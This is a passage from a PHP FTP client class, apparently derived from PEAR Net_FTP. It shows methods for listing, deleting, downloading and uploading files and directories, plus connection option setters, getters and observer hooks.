the\r\n\t * directory excluding \".\" and \"..\"<br>\r\n\t * [\"date\"] => int The creation-date as Unix timestamp<br>\r\n\t * [\"is_dir\"] => bool true, cause this is a dir<br>\r\n\t * <br><br>\r\n\t * Files:<br>\r\n\t * [\"name\"] => string The name of the file<br>\r\n\t * [\"size\"] => int Size in bytes<br>\r\n\t * [\"rights\"] => string The rights of the file (in style \r\n\t * \"rwxr-xr-x\")<br>\r\n\t * [\"user\"] => string The owner of the file<br>\r\n\t * [\"group\"] => string The group-owner of the file<br>\r\n\t * [\"date\"] => int The creation-date as Unix timestamp<br>\r\n\t * [\"is_dir\"] => bool false, cause this is a file<br>\r\n\t *\r\n\t * @param string $dir (optional) The directory to list or null for current\r\n\t * @param int $mode (optional) List files, dirs or both.\r\n\t *\r\n\t * @access public\r\n\t * @return mixed The directory list as described above\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction ls($dir = null, $mode = self::LS_MODE_DIRS_FILES) {\r\n\t\tif ( $dir === null ) {\r\n\t\t\t$dir = $this->pwd();\r\n\t\t}\r\n\t\tif ( ($mode != self::LS_MODE_FILES_ONLY) && ($mode != self::LS_MODE_DIR_ONLY) && ($mode != self::LS_MODE_RAWLIST) ) {\r\n\t\t\t$mode = self::LS_MODE_DIRS_FILES;\r\n\t\t}\r\n\t\t\r\n\t\tswitch ( $mode ) {\r\n\t\t\tcase self::LS_MODE_DIRS_FILES :\r\n\t\t\t\t$res = $this->_lsBoth($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_DIR_ONLY :\r\n\t\t\t\t$res = $this->_lsDirs($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_FILES_ONLY :\r\n\t\t\t\t$res = $this->_lsFiles($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_RAWLIST :\r\n\t\t\t\t$res = @ftp_rawlist($this->_handle, $dir);\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\treturn $res;\r\n\t}\r\n\r\n\t/**\r\n\t * This method will delete the given file or directory ($path) from the server\r\n\t * (maybe recursive).\r\n\t *\r\n\t * Whether the given string is a file or directory is only determined by the\r\n\t * last sign inside the string (\"/\" or not).\r\n\t *\r\n\t * If you specify a directory, you can optionally specify $recursive as true,\r\n\t * to let the directory be deleted recursive (with all sub-directories and files\r\n\t * inherited).\r\n\t *\r\n\t * You can either give a absolute or relative path for the file / dir. If you\r\n\t * choose to use the relative path, it will be automatically completed with the\r\n\t * actual selected directory.\r\n\t *\r\n\t * @param string $path The absolute or relative path to the file/directory.\r\n\t * @param bool $recursive Recursively delete everything in $path\r\n\t * @param bool $filesonly Only delete the files, leaving directories\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction rm($path, $recursive = false, $filesonly = false) {\r\n\t\t$path = $this->_constructPath($path);\r\n\t\tif ( $this->_checkRemoteDir($path) === true ) {\r\n\t\t\tif ( $recursive ) {\r\n\t\t\t\treturn $this->_rmDirRecursive($path, $filesonly);\r\n\t\t\t} else {\r\n\t\t\t\treturn $this->_rmDir($path);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\treturn $this->_rmFile($path);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This function will download a file from the ftp-server.\r\n\t * \r\n\t * You can either specify an absolute path to the file (beginning with \"/\") or\r\n\t * a relative one, which will be completed with the actual directory you\r\n\t * selected on the server. You can specify the path to which the file will be\r\n\t * downloaded on the local machine, if the file should be overwritten if it\r\n\t * exists (optionally, default is no overwriting) and in which mode (FTP_ASCII\r\n\t * or FTP_BINARY) the file should be downloaded (if you do not specify this,\r\n\t * the method tries to determine it automatically from the mode-directory or\r\n\t * uses the default-mode, set by you).\r\n\t * \r\n\t * If you give a relative path to the local-file, the script-path is used as\r\n\t * basepath.\r\n\t *\r\n\t * @param string $remote_file The absolute or relative path to the file\r\n\t * @param string $local_file The local file to put the downloaded in\r\n\t * @param bool $overwrite (optional) Whether to overwrite existing file\r\n\t * @param int $mode (optional) Either FTP_ASCII or FTP_BINARY\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction get($remote_file, $local_file, $overwrite = false, $mode = null) {\r\n\t\tif ( $mode === null ) {\r\n\t\t\t$mode = $this->checkFileExtension($remote_file);\r\n\t\t}\r\n\t\t\r\n\t\t$remote_file = $this->_constructPath($remote_file);\r\n\t\t\r\n\t\tif ( @file_exists($local_file) && !$overwrite ) {\r\n\t\t\tthrow new ftpGetLocalFileExistsException($local_file);\r\n\t\t}\r\n\t\tif ( @file_exists($local_file) && !@is_writeable($local_file) && $overwrite ) {\r\n\t\t\tthrow new ftpGetLocalFileNotWritableException($local_file);\r\n\t\t}\r\n\t\t\r\n\t\tif ( @function_exists('ftp_nb_get') ) {\r\n\t\t\t$res = @ftp_nb_get($this->_handle, $local_file, $remote_file, $mode);\r\n\t\t\twhile ( $res == FTP_MOREDATA ) {\r\n\t\t\t\t$this->notify('nb_get');\r\n\t\t\t\t$res = @ftp_nb_continue($this->_handle);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$res = @ftp_get($this->_handle, $local_file, $remote_file, $mode);\r\n\t\t}\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpGetException(\"File '\" . $remote_file . \"' could not be downloaded to '$local_file'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This function will upload a file to the ftp-server.\r\n\t * \r\n\t * You can either specify a absolute path to the remote-file (beginning with \"/\")\r\n\t * or a relative one, which will be completed with the actual directory you\r\n\t * selected on the server. You can specify the path from which the file will be\r\n\t * uploaded on the local maschine, if the file should be overwritten if it exists\r\n\t * (optionally, default is no overwriting) and in which mode (FTP_ASCII or\r\n\t * FTP_BINARY) the file should be downloaded (if you do not specify this, the\r\n\t * method tries to determine it automatically from the mode-directory or uses the\r\n\t * default-mode, set by you).\r\n\t * \r\n\t * If you give a relative path to the local-file, the script-path is used as\r\n\t * basepath.\r\n\t *\r\n\t * @param string $local_file The local file to upload\r\n\t * @param string $remote_file The absolute or relative path to the file to upload to\r\n\t * @param bool $overwrite (optional) Whether to overwrite existing file\r\n\t * @param int $mode (optional) Either FTP_ASCII or FTP_BINARY\r\n\t * @param int $options (optional) ftpClient::(PUT_BLOCKING | PUT_NONBLOCKING)\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction put($local_file, $remote_file, $overwrite = false, $mode = null, $options = 0) {\r\n\t\tif ( $options & (self::PUT_BLOCKING | self::PUT_NONBLOCKING) === (self::PUT_BLOCKING | self::PUT_NONBLOCKING) ) {\r\n\t\t\tthrow new ftpPutOptionsException();\r\n\t\t}\r\n\t\t\r\n\t\t$usenb = !($options & (self::PUT_BLOCKING == self::PUT_BLOCKING));\r\n\t\t\r\n\t\tif ( !isset($mode) ) {\r\n\t\t\t$mode = $this->checkFileExtension($local_file);\r\n\t\t}\r\n\t\t$remote_file = $this->_constructPath($remote_file);\r\n\t\t\r\n\t\tif ( !@file_exists($local_file) ) {\r\n\t\t\tthrow new ftpPutLocalFileDoesNotExistException($local_file);\r\n\t\t}\r\n\t\tif ( (@ftp_size($this->_handle, $remote_file) != -1) && !$overwrite ) {\r\n\t\t\tthrow new ftpPutRemoteFileExistsNoOverwriteException($remote_file);\r\n\t\t}\r\n\t\t\r\n\t\tif ( function_exists('ftp_alloc') ) {\r\n\t\t\tftp_alloc($this->_handle, filesize($local_file));\r\n\t\t}\r\n\t\tif ( $usenb && function_exists('ftp_nb_put') ) {\r\n\t\t\t$res = @ftp_nb_put($this->_handle, $remote_file, $local_file, $mode);\r\n\t\t\twhile ( $res == FTP_MOREDATA ) {\r\n\t\t\t\t$this->notify('nb_put');\r\n\t\t\t\t$res = @ftp_nb_continue($this->_handle);\r\n\t\t\t}\r\n\t\t\r\n\t\t} else {\r\n\t\t\t$res = @ftp_put($this->_handle, $remote_file, $local_file, $mode);\r\n\t\t}\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpPutException(\"File '$local_file' could not be uploaded to '\" . $remote_file . \"'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This functionality allows you to transfer a whole directory-structure from\r\n\t * the remote-ftp to your local host. You have to give a remote-directory\r\n\t * (ending with '/') and the local directory (ending with '/') where to put the\r\n\t * files you download.\r\n\t * The remote path is automatically completed with the current-remote-dir, if\r\n\t * you give a relative path to this function. You can give a relative path for\r\n\t * the $local_path, too. Then the script-basedir will be used for comletion of\r\n\t * the path.\r\n\t * The parameter $overwrite will determine, whether to overwrite existing files\r\n\t * or not. Standard for this is false. Fourth you can explicitly set a mode for\r\n\t * all transfer actions done. If you do not set this, the method tries to\r\n\t * determine the transfer mode by checking your mode-directory for the file\r\n\t * extension. If the extension is not inside the mode-directory, it will get\r\n\t * your default mode.\r\n\t * \r\n\t * Since 1.4 no error will be returned when a file exists while $overwrite is \r\n\t * set to false. \r\n\t *\r\n\t * @param string $remote_path The path to download\r\n\t * @param string $local_path The path to download to\r\n\t * @param bool $overwrite (optional) Whether to overwrite existing files\r\n\t * (true) or not (false, standard).\r\n\t * @param int $mode (optional) The transfermode (either FTP_ASCII or\r\n\t * FTP_BINARY).\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction getRecursive($remote_path, $local_path, $overwrite = false, $mode = null) {\r\n\t\t$remote_path = $this->_constructPath($remote_path);\r\n\t\tif ( $this->_checkRemoteDir($remote_path) !== true ) {\r\n\t\t\tthrow new ftpGetRecursiveException(\"Given remote-path '$remote_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t\r\n\t\tif ( !@file_exists($local_path) ) {\r\n\t\t\t$res = @mkdir($local_path);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpGetRecursiveException(\"Could not create dir '$local_path'\");\r\n\t\t\t}\r\n\t\t} elseif ( !@is_dir($local_path) ) {\r\n\t\t\tthrow new ftpGetRecursiveException(\"Given local-path '$local_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t\r\n\t\t$dir_list = array();\r\n\t\t$dir_list = $this->ls($remote_path, self::LS_MODE_DIR_ONLY);\r\n\t\t\r\n\t\tforeach ( $dir_list as $dir_entry ) {\r\n\t\t\tif ( $dir_entry['name'] != '.' && $dir_entry['name'] != '..' ) {\r\n\t\t\t\t$remote_path_new = $remote_path . $dir_entry[\"name\"] . \"/\";\r\n\t\t\t\t$local_path_new = $local_path . $dir_entry[\"name\"] . \"/\";\r\n\t\t\t\t$result = $this->getRecursive($remote_path_new, $local_path_new, $overwrite, $mode);\r\n\t\t\t}\r\n\t\t}\r\n\t\t$file_list = array();\r\n\t\t$file_list = $this->ls($remote_path, self::LS_MODE_FILES_ONLY);\r\n\t\t\r\n\t\tforeach ( $file_list as $file_entry ) {\r\n\t\t\t$remote_file = $remote_path . $file_entry[\"name\"];\r\n\t\t\t$local_file = $local_path . $file_entry[\"name\"];\r\n\t\t\t$result = $this->get($remote_file, $local_file, $overwrite, $mode);\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * This functionality allows you to transfer a whole directory-structure from\r\n\t * your local host to the remote-ftp. You have to give a remote-directory\r\n\t * (ending with '/') and the local directory (ending with '/') where to put the\r\n\t * files you download. The remote path is automatically completed with the\r\n\t * current-remote-dir, if you give a relative path to this function. You can\r\n\t * give a relative path for the $local_path, too. Then the script-basedir will\r\n\t * be used for comletion of the path.\r\n\t * The parameter $overwrite will determine, whether to overwrite existing files\r\n\t * or not.\r\n\t * Standard for this is false. Fourth you can explicitly set a mode for all\r\n\t * transfer actions done. If you do not set this, the method tries to determine\r\n\t * the transfer mode by checking your mode-directory for the file-extension. If\r\n\t * the extension is not inside the mode-directory, it will get your default\r\n\t * mode.\r\n\t *\r\n\t * @param string $local_path The path to download to\r\n\t * @param string $remote_path The path to download\r\n\t * @param bool $overwrite (optional) Whether to overwrite existing files\r\n\t * (true) or not (false, standard).\r\n\t * @param int $mode (optional) The transfermode (either FTP_ASCII or\r\n\t * FTP_BINARY).\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction putRecursive($local_path, $remote_path, $overwrite = false, $mode = null) {\r\n\t\t$remote_path = $this->_constructPath($remote_path);\r\n\t\tif ( !file_exists($local_path) || !is_dir($local_path) ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given local-path '$local_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t// try to create directory if it doesn't exist\r\n\t\t$old_path = $this->pwd();\r\n\t\ttry {\r\n\t\t\t$this->cd($remote_path);\r\n\t\t} catch ( ftpException $e ) {\r\n\t\t\t$res = $this->mkdir($remote_path);\r\n\t\t}\r\n\t\t\r\n\t\t$this->cd($old_path);\r\n\t\tif ( $this->_checkRemoteDir($remote_path) !== true ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given remote-path '$remote_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t$dir_list = $this->_lsLocal($local_path);\r\n\t\tforeach ( $dir_list[\"dirs\"] as $dir_entry ) {\r\n\t\t\t// local directories do not have arrays as entry\r\n\t\t\t$remote_path_new = $remote_path . $dir_entry . \"/\";\r\n\t\t\t$local_path_new = $local_path . $dir_entry . \"/\";\r\n\t\t\t$result = $this->putRecursive($local_path_new, $remote_path_new, $overwrite, $mode);\r\n\t\t}\r\n\t\t\r\n\t\tforeach ( $dir_list[\"files\"] as $file_entry ) {\r\n\t\t\t$remote_file = $remote_path . $file_entry;\r\n\t\t\t$local_file = $local_path . $file_entry;\r\n\t\t\t$result = $this->put($local_file, $remote_file, $overwrite, $mode);\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * This checks, whether a file should be transfered in ascii- or binary-mode\r\n\t * by it's file-extension. If the file-extension is not set or\r\n\t * the extension is not inside one of the extension-dirs, the actual set\r\n\t * transfer-mode is returned.\r\n\t *\r\n\t * @param string $filename The filename to be checked\r\n\t *\r\n\t * @access public\r\n\t * @return int Either FTP_ASCII or FTP_BINARY\r\n\t */\r\n\tfunction checkFileExtension($filename) {\r\n\t\tif ( ($pos = strrpos($filename, '.')) === false ) {\r\n\t\t\treturn $this->getMode();\r\n\t\t} else {\r\n\t\t\t$ext = substr($filename, $pos + 1);\r\n\t\t}\r\n\t\t\r\n\t\tif ( isset($this->_file_extensions[$ext]) ) {\r\n\t\t\treturn $this->_file_extensions[$ext];\r\n\t\t}\r\n\t\t\r\n\t\treturn $this->getMode();\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the baseOptionsSet object\r\n\t *\r\n\t * @return baseOptionsSet\r\n\t */\r\n\tfunction getOptionsSet() {\r\n\t\tif ( !$this->_OptionsSet instanceof baseOptionsSet ) {\r\n\t\t\t$this->_OptionsSet = new baseOptionsSet();\r\n\t\t}\r\n\t\treturn $this->_OptionsSet;\r\n\t}\r\n\r\n\t/**\r\n\t * Set a new options set object over the current one\r\n\t *\r\n\t * @param baseOptionsSet $inOptionsSet\r\n\t * @return ftpClient\r\n\t */\r\n\tfunction setOptionsSet($inOptionsSet) {\r\n\t\tif ( $inOptionsSet !== $this->_OptionsSet ) {\r\n\t\t\t$this->_OptionsSet = $inOptionsSet;\r\n\t\t}\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the hostname\r\n\t *\r\n\t * @param string $host The hostname to set\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setHostname($host) {\r\n\t\tif ( !is_string($host) ) {\r\n\t\t\tthrow new ftpException(\"Hostname must be a string\");\r\n\t\t}\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_HOSTNAME => $host));\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the Port\r\n\t *\r\n\t * @param int $port The port to set\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setPort($port) {\r\n\t\tif ( !is_int($port) || ($port < 0) || ($port > 65535) ) {\r\n\t\t\tthrow new ftpException(\"Invalid port. Has to be integer > 0\");\r\n\t\t}\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_PORT => $port));\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the Username\r\n\t *\r\n\t * @param string $user The username to set\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setUsername($user) {\r\n\t\tif ( empty($user) || !is_string($user) ) {\r\n\t\t\tthrow new ftpException(\"Username $user invalid\");\r\n\t\t}\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_USERNAME => $user));\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the password\r\n\t *\r\n\t * @param string $password The password to set\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setPassword($password) {\r\n\t\tif ( empty($password) || !is_string($password) ) {\r\n\t\t\tthrow new ftpException(\"Password cannot be empty\");\r\n\t\t}\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_PASSWORD => $password));\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the transfer-mode. You can use the predefined constants\r\n\t * FTP_ASCII or FTP_BINARY. The mode will be stored for any further transfers.\r\n\t *\r\n\t * @param int $mode The mode to set\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setMode($mode) {\r\n\t\tif ( ($mode == FTP_ASCII) || ($mode == FTP_BINARY) ) {\r\n\t\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_MODE => $mode));\r\n\t\t\treturn $this;\r\n\t\t} else {\r\n\t\t\tthrow new ftpException('FTP-Mode has either to be FTP_ASCII or FTP_BINARY');\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Set the transfer-method to passive mode\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t */\r\n\tfunction setPassive() {\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_METHOD => self::TRANSFER_METHOD_PASSIVE));\r\n\t\t@ftp_pasv($this->_handle, true);\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the transfer-method to active mode\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t */\r\n\tfunction setActive() {\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_METHOD => self::TRANSFER_METHOD_ACTIVE));\r\n\t\t@ftp_pasv($this->_handle, false);\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the timeout for FTP operations\r\n\t *\r\n\t * Use this method to set a timeout for FTP operation. Timeout has to be an\r\n\t * integer.\r\n\t *\r\n\t * @param int $timeout the timeout to use\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setTimeout($timeout = 0) {\r\n\t\tif ( !is_int($timeout) || ($timeout < 0) ) {\r\n\t\t\tthrow new ftpException('Timeout '.$timeout.' is invalid, has to be an integer >= 0');\r\n\t\t}\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TIMEOUT => $timeout));\r\n\t\tif ( isset($this->_handle) && is_resource($this->_handle) ) {\r\n\t\t\t$res = @ftp_set_option($this->_handle, FTP_TIMEOUT_SEC, $timeout);\r\n\t\t} else {\r\n\t\t\t$res = true;\r\n\t\t}\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpException(\"Set timeout failed.\");\r\n\t\t}\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Adds an extension to a mode-directory\r\n\t *\r\n\t * The mode-directory saves file-extensions coresponding to filetypes\r\n\t * (ascii e.g.: 'php', 'txt', 'htm',...; binary e.g.: 'jpg', 'gif', 'exe',...).\r\n\t * The extensions have to be saved without the '.'. And\r\n\t * can be predefined in an external file (see: getExtensionsFile()).\r\n\t *\r\n\t * The array is build like this: 'php' => FTP_ASCII, 'png' => FTP_BINARY\r\n\t *\r\n\t * To change the mode of an extension, just add it again with the new mode!\r\n\t *\r\n\t * @param int $mode Either FTP_ASCII or FTP_BINARY\r\n\t * @param string $ext Extension\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t */\r\n\tfunction addExtension($mode, $ext) {\r\n\t\t$this->_file_extensions[$ext] = $mode;\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * This function removes an extension from the mode-directories \r\n\t * (described above).\r\n\t *\r\n\t * @param string $ext The extension to remove\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t */\r\n\tfunction removeExtension($ext) {\r\n\t\tif ( isset($this->_file_extensions[$ext]) ) {\r\n\t\t\tunset($this->_file_extensions[$ext]);\r\n\t\t}\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * This get's both (ascii- and binary-mode-directories) from the given file.\r\n\t * Beware, if you read a file into the mode-directory, all former set values \r\n\t * will be unset!\r\n\t * \r\n\t * Example file contents:\r\n\t * [ASCII]\r\n\t * asc = 0\r\n\t * txt = 0\r\n\t * [BINARY]\r\n\t * bin = 1\r\n\t * jpg = 1\r\n\t *\r\n\t * @param string $filename The file to get from\r\n\t *\r\n\t * @access public\r\n\t * @return boolean\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction getExtensionsFile($filename) {\r\n\t\tif ( !file_exists($filename) ) {\r\n\t\t\tthrow new ftpException(\"Extensions-file '$filename' does not exist\");\r\n\t\t}\r\n\t\tif ( !is_readable($filename) ) {\r\n\t\t\tthrow new ftpException(\"Extensions-file '$filename' is not readable\");\r\n\t\t}\r\n\t\t\r\n\t\t$exts = @parse_ini_file($filename, true);\r\n\t\tif ( !is_array($exts) ) {\r\n\t\t\tthrow new ftpException(\"Extensions-file '$filename' could not be loaded\");\r\n\t\t}\r\n\t\t\r\n\t\t$this->_file_extensions = array();\r\n\t\t\r\n\t\tif ( isset($exts['ASCII']) ) {\r\n\t\t\tforeach ( $exts['ASCII'] as $ext => $bogus ) {\r\n\t\t\t\t$this->_file_extensions[$ext] = FTP_ASCII;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ( isset($exts['BINARY']) ) {\r\n\t\t\tforeach ( $exts['BINARY'] as $ext => $bogus ) {\r\n\t\t\t\t$this->_file_extensions[$ext] = FTP_BINARY;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the hostname\r\n\t *\r\n\t * @access public\r\n\t * @return string The hostname\r\n\t */\r\n\tfunction getHostname() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_HOSTNAME);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the port\r\n\t *\r\n\t * @access public\r\n\t * @return int The port\r\n\t */\r\n\tfunction getPort() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_PORT, 21);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the username\r\n\t *\r\n\t * @access public\r\n\t * @return string The username\r\n\t */\r\n\tfunction getUsername() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_USERNAME);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the password\r\n\t *\r\n\t * @access public\r\n\t * @return string The password\r\n\t */\r\n\tfunction getPassword() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_PASSWORD);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the transfermode, default FTP_ASCII\r\n\t *\r\n\t * @access public\r\n\t * @return int The transfermode, either FTP_ASCII or FTP_BINARY.\r\n\t */\r\n\tfunction getMode() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_TRANSFER_MODE, FTP_ASCII);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns, whether the connection is set to passive mode or not\r\n\t *\r\n\t * @access public\r\n\t * @return bool True if passive, false if active mode\r\n\t */\r\n\tfunction isPassive() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_TRANSFER_METHOD, self::TRANSFER_METHOD_PASSIVE);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the mode set for a file-extension\r\n\t *\r\n\t * @param string $ext The extension you wanna ask for\r\n\t *\r\n\t * @return int Either FTP_ASCII, FTP_BINARY or NULL (if not set a mode for it)\r\n\t * @access public\r\n\t */\r\n\tfunction getExtensionMode($ext) {\r\n\t\tif ( array_key_exists($ext, $this->_file_extensions) ) {\r\n\t\t\treturn $this->_file_extensions[$ext];\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the current timeout value, defaulting to 20 seconds\r\n\t *\r\n\t * @return integer\r\n\t */\r\n\tfunction getTimeoutOption() {\r\n\t\treturn $this->getOptionsSet()->getOptions(self::OPTION_TIMEOUT, 20);\r\n\t}\r\n\r\n\t/**\r\n\t * Returns the actual timeout set on the current connection.\r\n\t *\r\n\t * @access public\r\n\t * @return int The actual timeout\r\n\t */\r\n\tfunction getTimeout() {\r\n\t\treturn ftp_get_option($this->_handle, FTP_TIMEOUT_SEC);\r\n\t}\r\n\r\n\t/**\r\n\t * Adds a ftpClientObserver instance to the list of observers \r\n\t * that are listening for messages emitted by this Net_FTP instance.\r\n\t *\r\n\t * @param ftpClientObserver $observer\r\n\t * @return boolean True if the observer is successfully attached.\r\n\t * @access public\r\n\t */\r\n\tfunction attach(ftpClientObserver $observer) {\r\n\t\t$this->_listeners[$observer->getId()] = $observer;\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/**\r\n\t * Removes a ftpClientObserver instance from the list of observers.\r\n\t *\r\n\t * @param ftpClientObserver $observer\r\n\t * @return boolean True if the observer is successfully detached.\r\n\t * @access public\r\n\t */\r\n\tfunction detach(ftpClientObserver $observer) {\r\n\t\tif ( !isset($this->_listeners[$observer->getId()]) ) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\tunset($this->_listeners[$observer->getId()]);\r\n\t\treturn true;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Returns true if $observer is a currently attached listener \r\n\t *\r\n\t * @param ftpClientObserver $observer\r\n\t * @return boolean\r\n\t */\r\n\tfunction isAttached(ftpClientObserver $observer) {\r\n\t\tif ( isset($this->_listeners[$observer->getId()]) ) {\r\n\t\t\treturn true;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Informs each registered observer instance that a new message has been\r\n\t * sent. \r\n\t * \r\n\t * @param mixed $event A hash describing the net event.\r\n\t * @return void\r\n\t */\r\n\tfunction notify($event) {\r\n\t\tif ( count($this->_listeners) > 0 ) {\r\n\t\t\tif ( false ) $listener = new ftpClientObserver();\r\n\t\t\tforeach ( $this->_listeners as $id => $listener ) {\r\n\t\t\t\t$listener->notify($event);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Sets the directory listing matcher\r\n\t *\r\n\t * Use this method to set the directory listing matcher to a specific pattern.\r\n\t * Indicate the pattern as a perl regular expression and give an array\r\n\t * containing as keys the fields selected in the regular expression and as\r\n\t * values the offset of the subpattern in the pattern.\r\n\t *\r\n\t * Example:\r\n\t * $pattern = '/(?:(d)|.)([rwxt-]+)\\s+(\\w+)\\s+([\\w\\d-]+)\\s+([\\w\\d-]+)\\s+(\\w+)\r\n\t * \\s+(\\S+\\s+\\S+\\s+\\S+)\\s+(.+)/',\r\n\t * $matchmap = array(\r\n\t * 'is_dir' => 1,\r\n\t * 'rights' => 2,\r\n\t * 'files_inside' => 3,\r\n\t * 'user' => 4,\r\n\t * 'group' => 5,\r\n\t * 'size' => 6,\r\n\t * 'date' => 7,\r\n\t * 'name' => 8,\r\n\t * )\r\n\t *\r\n\t * Make sure at least the is_dir and name keys are set. The is_dir key should\r\n\t * point to a subpattern that is empty for non-directories and non-empty\r\n\t * for directories.\r\n\t *\r\n\t * @param string $pattern The new matcher pattern to use\r\n\t * @param array $matchmap An mapping from key to subpattern offset\r\n\t *\r\n\t * @access public\r\n\t * @return ftpClient\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction setDirMatcher($pattern, $matchmap) {\r\n\t\tif ( !is_string($pattern) ) {\r\n\t\t\tthrow new ftpException('The supplied pattern is not a string');\r\n\t\t}\r\n\t\tif ( !is_array($matchmap) ) {\r\n\t\t\tthrow new ftpException('The supplied matchmap pattern is not an array');\r\n\t\t} else {\r\n\t\t\tforeach ( $matchmap as $val ) {\r\n\t\t\t\tif ( !is_numeric($val) ) {\r\n\t\t\t\t\tthrow new ftpException('The supplied pattern contains invalid value ' . $val);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$this->_matcher = array('pattern' => $pattern, 'map' => $matchmap);\r\n\t\treturn $this;\r\n\t}\r\n\r\n\t/**\r\n\t * Rebuild the path, if given relative\r\n\t *\r\n\t * This method will make a relative path absolute by prepending the current\r\n\t * remote directory in front of it.\r\n\t *\r\n\t * @param string $path The path to check and construct\r\n\t *\r\n\t * @access private\r\n\t * @return string The build path\r\n\t */\r\n\tprivate function _constructPath($path) {\r\n\t\tif ( (substr($path, 0, 1) != '/') && (substr($path, 0, 2) != './') ) 